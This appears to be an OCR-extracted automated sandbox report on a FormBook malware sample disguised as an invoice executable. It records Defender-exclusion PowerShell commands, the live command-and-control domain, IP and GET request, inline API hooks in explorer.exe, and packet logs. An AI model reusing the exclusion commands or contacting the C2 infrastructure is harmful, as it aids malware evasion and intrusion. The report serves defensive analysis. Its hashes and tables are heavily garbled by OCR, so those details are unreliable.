5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1

.0.1.. ..Command start time: 20210503145037..x****xrisiixniiiink PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData
\Roaming\y YXmxiApi.exe. i kssikssixsxiix \Windows PowerShell transcript start..Start time: 20210503145713..Username: computer\user..RunAs User: computer\user.

C:\Users\user\Documents\20210503\PowerShell_transcript.065367.K12PJCIf.20210503145011.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5701

5.382675657994007

false

96:BZHhINYyqD01ZPWZihINYyqD01Zgc606E6jZjhINYyqDo1ZjI6UUGEZP:i
DB00C29BC4025BA244104A1FB1FC5004
4B55982416EF7A0A1684F821DC34E2BA670288C0
981EFFD7C1040A8A8E89A4A7ABA3FCCBAFIB36F2D817C3B90612DC4DDFE6B5D9
19591ADB9545F1D1A636B71DA5832C4348EABO0658AF99AE1355DB449005E8D500567E3A477900C7A27F703C269CC4156DC7EBCF380FA0262B2BD786F 7742355

false

Jerkiddeasack | \Windows PowerShell transcript start..Start time: 20210503145033..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 065367 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\Desktop\Invoiceo.exe..Process ID: 6584..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0,
5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..x**
..Command start time: 20210503145034. ***x*kssimiixiiisins PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop\Invoiceo
Lexe, Frmkikek | \Windows PowerShell transcript start..Start time: 20210503145331..Username: computer\user..RunAs User: computeruser..Configuration Nam

C:\Users\user\Documents\20210503\PowerShell_transcript.065367.wOdK0Dy0.20210503145012.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5785

5.404633230661222

false

96:BZahJN6gD01ZSZIhJN6qD01Z1jh7jZ4hIN6gD01ZYFqrjz0:03
A20F7E003DC42D0C84652D507FB71EFE
19640C9485EF5EFDBI3E853FF7EBELFEG38E2E93
C9D7CDBCCA64AED559A0102BA59261300D44D845250AF15DB93B19304E895F33
0130BC43FC6B7EAD1CO5B83FF7F4B20EBBC17C55EE89FA2F70A2E587599BA57B24499AC24471D7FD3E315AEFOELID867A67CB520B44B714335377D631414E077

false

Jerkikddeasak | \Windows PowerShell transcript start..Start time: 20210503145036..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 065367 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\AppData\Roaming\yYxmxiApi.exe..Process ID: 6660..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0,
5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1

.0.1.. ..Command start time: 20210503145036..*****xrisiixniiiinr PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData
\Roaming\y YXmxiApi.exe. sk \Windows PowerShell transcript start..Start time: 20210503145624..Username: computer\user..RunAs User: computer\user.
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Static File Info
General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

jmp dword ptr [00402000h]
add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Copyright Joe Security LLC 2021

00828e8e8686b000

0x4bc07e
text
false
0x400000

windows gui

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.926254649230044

e Win32 Executable (generic) Net Framework
(10011505/4) 49.80%

e Win32 Executable (generic) a (10002005/4)

49.75%

Generic CIL Executable (.NET, Mono, etc.)

(73296/58) 0.36%

Windows Screen Saver (13104/52) 0.07%

Generic Win/DOS Executable (2004/3) 0.01%

.

.

.

Invoiceo.exe

767488

8f2489d7ce50e99109af9925818daf2b
5481d53e59fdale0d849b677e15b410ba6f64fbc

0013853950647289e952326h93ce46aal3e73db654367ef
3c005e29257db31fba

e68ac0d33ddech3712068f94b3a1459f57b26a9e74e970¢
b7fAce2f1e64341d72294b2907049e738d115807ef9bd9e
622483b64c2e2b26cc228df52a42195268

12288:TXgCvpTVNXNTOGxNwf092eFjux/6VLcviorDC7
7Fd6LXIKC088VT0/gVWCTpaOMR:TXhvpTfdrR2+j7VL
OioretkxIXQ0/bOy

32BIT_MACHINE, EXECUTABLE_IMAGE

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

0x608FA418 [Mon May 3 07:19:52 2021 UTC]

v4.0.30319

4
0
4
0
4
0

f34d5f2d4577ed6d9ceec516¢c1f5a744
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address Virtual Size
text 0x2000 0xba084
.rsrc 0xbe000 Oxeb8
.reloc 0xc0000 Ooxc
Resources

Name RVA
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Raw Size

0xba200

0x1000

0x200

Size

Xored PE

Virtual Address
0x0
0xbc02c
0xbe000
0x0

0x0
0xc0000
0x0

0x0

0x0

0x0

0x0

0x0
0x2000
0x0
0x2008
0x0

False 0.9400866773

False 0.373291015625

False 0.044921875

Type

ZLIB Complexity

Virtual Size

0x0
0ox4f
Oxeb8
0x0
0x0

0x0
0x0
0x0
0x0
0x0
0x0
0x8
0x0
0x48
0x0

File Type

data

data

data

Entropy
7.93397311121

4.74014351229

0.101910425663

Language

Is in Section

text

.rsrc

.reloc

text

text

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Country
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Name RVA Size Type Language
RT_VERSION 0xbe090 0x38c PGP symmetric key encrypted data - Plaintext or

unencrypted data
RT_MANIFEST Oxbed2c 0xa85 XML 1.0 document, UTF-8 Unicode (with BOM) text, with

CRLF, LF line terminators
Imports
DLL Import
mscoree.dll _CorExeMain
Version Infos
Description Data
Translation 0x0000 0x04b0
LegalCopyright Copyright 2018
Assembly Version 1.0.0.0
InternalName SynchronizedList.exe
FileVersion 1.0.1.35
CompanyName Unguest
LegalTrademarks Unguest
Comments A light media player
ProductName LightWatch
ProductVersion 1.0.1.35
FileDescription Lightwatch
OriginalFilename SynchronizedList.exe
Network Behavior
Snort IDS Alerts

Source

Timestamp Protocol SID Message Port
05/03/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49749
14:51:50.228654
05/03/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49749
14:51:50.228654
05/03/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49749
14:51:50.228654
05/03/21- ICMP 402 ICMP Destination Unreachable Port Unreachable
14:51:50.836708

Network Port Distribution

TCP Packets

Timestamp

May 3, 2021 14:51:49.998538017 CEST
Copyright Joe Security LLC 2021

Source Port

49749 80

Total Packets: 47

® 53 (DNS)
@ 80 (HTTP)

Dest Port Source IP

192.168.2.3

Country

Dest

Port Source IP  DestIP

80 192.168.2.3 154.207.58.218
80 192.168.2.3 154.207.58.218
80 192.168.2.3 154.207.58.218

192.168.2.3 8.8.8.8

Dest IP
154.207.58.218
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Timestamp Source Port Dest Port Source IP Dest IP

May 3, 2021 14:51:50.227999926 CEST 80 49749 154.207.58.218 192.168.2.3
May 3, 2021 14:51:50.228612900 CEST 49749 80 192.168.2.3 154.207.58.218
May 3, 2021 14:51:50.228653908 CEST 49749 80 192.168.2.3 154.207.58.218
May 3, 2021 14:51:50.456587076 CEST 80 49749 154.207.58.218 192.168.2.3
May 3, 2021 14:51:50.689347029 CEST 80 49749 154.207.58.218 192.168.2.3
May 3, 2021 14:51:50.689378977 CEST 80 49749 154.207.58.218 192.168.2.3
May 3, 2021 14:51:50.690615892 CEST 49749 80 192.168.2.3 154.207.58.218
May 3, 2021 14:51:50.690653086 CEST 49749 80 192.168.2.3 154.207.58.218
May 3, 2021 14:51:50.920502901 CEST 80 49749 154.207.58.218 192.168.2.3

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 3, 2021 14:49:57.317878962 CEST 53 64938 8.8.8.8 192.168.2.3
May 3, 2021 14:49:57.322339058 CEST 60152 53 192.168.2.3 8.8.8.8
May 3, 2021 14:49:57.371908903 CEST 53 60152 8.8.8.8 192.168.2.3
May 3, 2021 14:49:57.418917894 CEST 57544 53 192.168.2.3 8.8.8.8
May 3, 2021 14:49:57.478156090 CEST 53 57544 8.8.8.8 192.168.2.3
May 3, 2021 14:49:58.054728985 CEST 55984 53 192.168.2.3 8.8.8.8
May 3, 2021 14:49:58.103370905 CEST 53 55984 8.8.8.8 192.168.2.3
May 3, 2021 14:49:59.108160019 CEST 64185 53 192.168.2.3 8.8.8.8
May 3, 2021 14:49:59.159979105 CEST 53 64185 8.8.8.8 192.168.2.3
May 3, 2021 14:49:59.791127920 CEST 65110 53 192.168.2.3 8.8.8.8
May 3, 2021 14:49:59.852382898 CEST 53 65110 8.8.8.8 192.168.2.3
May 3, 2021 14:50:00.310664892 CEST 58361 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:00.359349966 CEST 53 58361 8.8.8.8 192.168.2.3
May 3, 2021 14:50:01.099222898 CEST 63492 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:01.147954941 CEST 53 63492 8.8.8.8 192.168.2.3
May 3, 2021 14:50:02.584081888 CEST 60831 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:02.637315035 CEST 53 60831 8.8.8.8 192.168.2.3
May 3, 2021 14:50:03.558026075 CEST 60100 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:03.610703945 CEST 53 60100 8.8.8.8 192.168.2.3
May 3, 2021 14:50:04.429945946 CEST 53195 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:04.478590012 CEST 53 53195 8.8.8.8 192.168.2.3
May 3, 2021 14:50:05.554126978 CEST 50141 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:05.606720924 CEST 53 50141 8.8.8.8 192.168.2.3
May 3, 2021 14:50:06.626275063 CEST 53023 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:06.674918890 CEST 53 53023 8.8.8.8 192.168.2.3
May 3, 2021 14:50:07.739587069 CEST 49563 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:07.791148901 CEST 53 49563 8.8.8.8 192.168.2.3
May 3, 2021 14:50:09.092293978 CEST 51352 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:09.143754959 CEST 53 51352 8.8.8.8 192.168.2.3
May 3, 2021 14:50:10.360970020 CEST 59349 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:10.410541058 CEST 53 59349 8.8.8.8 192.168.2.3
May 3, 2021 14:50:11.605586052 CEST 57084 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:11.654170036 CEST 53 57084 8.8.8.8 192.168.2.3
May 3, 2021 14:50:13.135993958 CEST 58823 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:13.193166018 CEST 53 58823 8.8.8.8 192.168.2.3
May 3, 2021 14:50:14.772459030 CEST 57568 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:14.821333885 CEST 53 57568 8.8.8.8 192.168.2.3
May 3, 2021 14:50:15.887100935 CEST 50540 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:15.935822010 CEST 53 50540 8.8.8.8 192.168.2.3
May 3, 2021 14:50:17.012751102 CEST 54366 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:17.061724901 CEST 53 54366 8.8.8.8 192.168.2.3
May 3, 2021 14:50:35.768117905 CEST 53034 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:35.853097916 CEST 53 53034 8.8.8.8 192.168.2.3
May 3, 2021 14:50:41.068684101 CEST 57762 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:41.120315075 CEST 53 57762 8.8.8.8 192.168.2.3
May 3, 2021 14:50:53.544783115 CEST 55435 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:53.602178097 CEST 53 55435 8.8.8.8 192.168.2.3
May 3, 2021 14:50:53.629376888 CEST 50713 53 192.168.2.3 8.8.8.8
May 3, 2021 14:50:53.686345100 CEST 53 50713 8.8.8.8 192.168.2.3
May 3, 2021 14:51:09.428570032 CEST 56132 53 192.168.2.3 8.8.8.8
May 3, 2021 14:51:09.489972115 CEST 53 56132 8.8.8.8 192.168.2.3
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Timestamp

May 3, 2021 14:51:33.954490900 CEST
May 3, 2021 14:51:34.012392998 CEST
May 3, 2021 14:51:34.030267000 CEST
May 3, 2021 14:51:34.155283928 CEST
May 3, 2021 14:51:35.160784006 CEST
May 3, 2021 14:51:35.300602913 CEST
May 3, 2021 14:51:36.161204100 CEST
May 3, 2021 14:51:36.213290930 CEST
May 3, 2021 14:51:36.766047955 CEST
May 3, 2021 14:51:37.050554991 CEST
May 3, 2021 14:51:37.939562082 CEST
May 3, 2021 14:51:38.086294889 CEST
May 3, 2021 14:51:38.996150970 CEST
May 3, 2021 14:51:39.053833008 CEST
May 3, 2021 14:51:39.647979021 CEST
May 3, 2021 14:51:39.696749926 CEST
May 3, 2021 14:51:41.230832100 CEST
May 3, 2021 14:51:41.289402962 CEST
May 3, 2021 14:51:42.211827040 CEST
May 3, 2021 14:51:42.274375916 CEST
May 3, 2021 14:51:42.839030027 CEST
May 3, 2021 14:51:42.896060944 CEST
May 3, 2021 14:51:48.780131102 CEST
May 3, 2021 14:51:49.772160053 CEST
May 3, 2021 14:51:49.988893986 CEST
May 3, 2021 14:51:50.836478949 CEST
May 3, 2021 14:51:54.264553070 CEST
May 3, 2021 14:51:54.316430092 CEST
May 3, 2021 14:51:58.754213095 CEST
May 3, 2021 14:51:58.813070059 CEST
May 3, 2021 14:51:59.031641006 CEST
May 3, 2021 14:51:59.100789070 CEST
May 3, 2021 14:52:08.897413969 CEST
May 3, 2021 14:52:09.883294106 CEST

ICMP Packets

Timestamp

May 3, 2021 14:51:50.836708069 CEST

DNS Queries

Timestamp Source IP
May 3, 2021 14:51:48.780131102 CEST 192.168.2.3
May 3, 2021 14:51:49.772160053 CEST 192.168.2.3
May 3, 2021 14:52:08.897413969 CEST 192.168.2.3
DNS Answers

Timestamp Source IP Dest IP Trans ID
May 3, 2021 8.8.8.8 192.168.2.3 0xb941
14:51:49.988893986

CEST

May 3, 2021 8.8.8.8 192.168.2.3 0xb941
14:51:50.836478949

CEST

May 3, 2021 8.8.8.8 192.168.2.3 Oxdle7
14:52:09.883294106

CEST

HTTP Request Dependency Graph
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Source Port
58987
53
56579
53
60633
53
61292
53
63619
53
64938
53
61946
53
64910
53
52123
53
56130
53
56338
53
59420
59420
53

53
58784
53
63978
53
62938
53
55708
53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

Server failure (2)

Dest Port
53
58987
53
56579
53
60633
53
61292
53
63619
53
64938
53
61946
53
64910
53
52123
53
56130
53
56338
53

53
59420
59420
53
58784
53
63978
53
62938
53
55708

Source IP

192.168.2.3

Trans ID

0xb941

0xb941

Oxdle7

Name

www.tabuk2
4.com

www.tabuk2
4.com

WWW.swim-m
aki.com

Source IP
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
192.168.2.3
8.8.8.8
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8

Dest IP
8.8.8.8

OP Code

Standard query
(0)
Standard query
(0)
Standard query
(0)

CName

none

Checksum

doo2

Name

www.tabuk2
4.com

www.tabuk2
4.com

WWW.swim-m
aki.com

Address

154.207.58.218

154.207.58.218

none

Dest IP
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
8.8.8.8
192.168.2.3
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3

Code

(Port
unreachable)

Type
A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

Type
Destination
Unreachable

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e www.tabuk24.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.3 49749 154.207.58.218 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
May 3, 2021 2316 ouT GET /csi/?TTgLKx=uFNDtp4H1nDLCVd&mR-ptRI=N6ynhade2rGTzfH7Obdga9j8h7xnVmduHv/FNLw2V1/0BiufS
14:51:50.228653908 CEST guuidvD99XwSD3G2mHh HTTP/1.1

Host: www.tabuk24.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
May 3, 2021 2317 IN HTTP/1.1 302 Moved Temporarily
14:51:50.689347029 CEST Date: Mon, 03 May 2021 12:51:50 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: PHPSESSID=0ccp7pnis5pqjp9tntf07ueci5; path=/
Set-Cookie: ray_leech_token=1620046311; path=/

Upgrade: h2

Connection: Upgrade, close

Location: /

Content-Length: 0

Content-Type: text/html; charset=gbk

Code Manipulations

User Modules

Hook Summary

Function Name Hook Type Active in Processes
PeekMessageA INLINE explorer.exe
PeekMessageW INLINE explorer.exe
GetMessageW INLINE explorer.exe
GetMessageA INLINE explorer.exe
Processes

Process: explorer.exe, Module: user32.dll

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x8E OXEE OxEF
PeekMessageW INLINE 0x48 0x8B 0xB8 0x86 OX6E OxEF
GetMessageW INLINE 0x48 0x8B 0xB8 0x86 OX6E OxEF
GetMessageA INLINE 0x48 0x8B 0xB8 0x8E OXEE OxEF
Statistics

Behavior

@ Invoiceo.exe
@ powershell.exe
@ conhost.exe
@ powershell.exe
@ conhost.exe
@ schtasks.exe
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@ conhost.exe

@ powershell.exe
® Invoiceo.exe
@ conhost.exe

@ explorer.exe

® cmd.exe

@ cmd.exe

@ conhost.exe

@

System Behavior

Click to jump to process

Analysis Process: Invoiceo.exe PID: 6316 Parent PID: 5620

General
Start time: 14:50:04
Start date: 03/05/2021
Path: C:\Users\user\Desktop\Invoiceo.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\Invoiceo.exe'
Imagebase: 0x310000
File size: 767488 bytes
MD5 hash: 8F2489D7CES50E99109AF9925818DAF2B
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.220474872.0000000003749000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.220474872.0000000003749000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.220474872.0000000003749000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.217060931.0000000002741000.00000004.00000001.sdmp, Author:
Joe Security
Reputation: low
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address  Symbol
C:\Users\user read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path
C:\Users\user\AppData\Roaming\yYxmxiApi.exe

C:\Users\user\AppData\Roaming\yYxmxiApi.exe\:Zone.|dentifier:$DATA

C:\Users\user\AppData\Local\Temp\tmpEE1D.tmp

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\

Invoiceo.exe.log

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\tmpEE1D.tmp

File Written

File Path
C:\Users\user\AppData\Roaming\yYxmxiApi.exe

C:\Users\user\AppData\Roaming\
yYxmxiApi.exe:Zone.|dentifier

Copyright Joe Security LLC 2021

Offset
0

Access Attributes

read data or list device
directory | read
attributes |

delete | write

dac |

synchronize |

generic read |

generic write

read data or list device
directory |

synchronize |

generic write

read attributes | device
synchronize |
generic read

read attributes | device
synchronize |
generic write

Length Value Ascii
262144 4d 529000030000 MZ.........cccoceueeee @.....

00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00

Options Completion

sequential only | success or wait
non directory
file

sequential only | success or wait
synchronous io
non alert

synchronous io  success or wait
non alert | non
directory file

synchronous io  success or wait
non alert | non
directory file

Completion

Count Address

1

success or wait

L.IThis program

00 00 40 00 00 00 00 cannot be run in DOS
00 00 00 00 00 00 00 mode....

00000000000000 $
00 00 00 00 000000 ..
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 7320 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
03 00 18 a4 8f 60 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 50
00 00 a2 Ob 00 00 12
00 00 00 00 00 00 7e
c0 Ob 00 00 20 00 00
00 e0 Ob 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 20 Oc
00 00 02 00 00 00 00
00 00 02 00 40 85 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

26 5b 5a 6f 6e 65 54 72 [ZoneTransfer]....Zoneld=0 success or wait

61 6e 73 66 65 72 5d
0d Oa 0d Oa 5a 6f 6e
65 49 64 3d 30

Completion

success or wait

Source
Symbol

6CCFDD66 CopyFileW

6CCFDD66 CopyFileW

6CCF7038 GetTempFileNameW

6E1BC78D CreateFileW

Source
Count Address Symbol
1 6CCF6A95 DeleteFileW
Source
Count Address  Symbol
3 6CCFDD66 CopyFileW
1 6CCFDD66 CopyFileW
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File Path Offset

C:\Users\user\AppData\Local\Temp\tmpEE1D.tmp unknown 1642

C:\Users\user\AppData\Local\Mi unknown 1406

crosoft\CLR_v4.0_32\UsageLogs\Invoiceo.exe.log

File Read

File Path
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
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Length Value

3c 3f 78 6d 6¢ 20 76
65 72 73 69 6f 6e 3d
22 31 2e 3022 20 65
6e 63 6f 64 69 6e 67
3d 22 5554 46 2d 31
36 22 3f 3e 0d Oa 3c
54 61 73 6b 20 76 65
72 73 69 6f 6e 3d 22
31 2e 32222078 6d
6¢c 6e 73 3d 22 68 74
7470 3a 2f 2f 73 63
68 65 6d 61 73 2e 6d
69 63 72 6f 73 6f 66
74 2e 63 6f 6d 2f 77
69 6e 64 6f 77 73 2f
32303034 2f 3032
2f 6d 69 74 2f 74 61
73 6b 22 3e 0d 0a 20
20 3¢ 52 6567 69 73
7472 61 74 69 6f 6e
49 6e 66 6f 3e 0d Oa
2020 20 20 3c 44 61
74653e32303134
2d 3130 2d 32 35 54
31343a32373a34
34 2e 38393239 30
32373c2f446174
65 3e 0d 0a 20 20 20
20 3c 41 75 74 68 6f
72 3e 44 45 53 4b 54
4f 50 2d 37 31 36 54
3737 315c 686172
64 7a3c 2f41 7574
68 6f 72 3e 0d Oa 20
20 3c 2f 52 65 67 69
73 7472 61 74 69 6f
6e 49 6e

312¢ 2266 7573 69
6f 6e 22 2¢ 22 47 41
4322 2¢ 30 0d Oa 31
2c 22 57 69 6e 52 54
22 2c 22 4e 6f 74 41
707022 2c 31 0d Oa
322c224d696372
6f 73 6f 66 74 2e 56
69 73 7561 6¢ 42 61
73 69 63 2c 20 56 65
72 73 69 6f 6e 3d 31
30 2e 30 2e 30 2e 30
2c 2043 756¢ 74 75
72 65 3d 6e 65 75 74
72 61 6¢ 2¢ 20 50 75
62 6¢ 69 63 4b 65 79
54 6f 6b 65 6e 3d 62
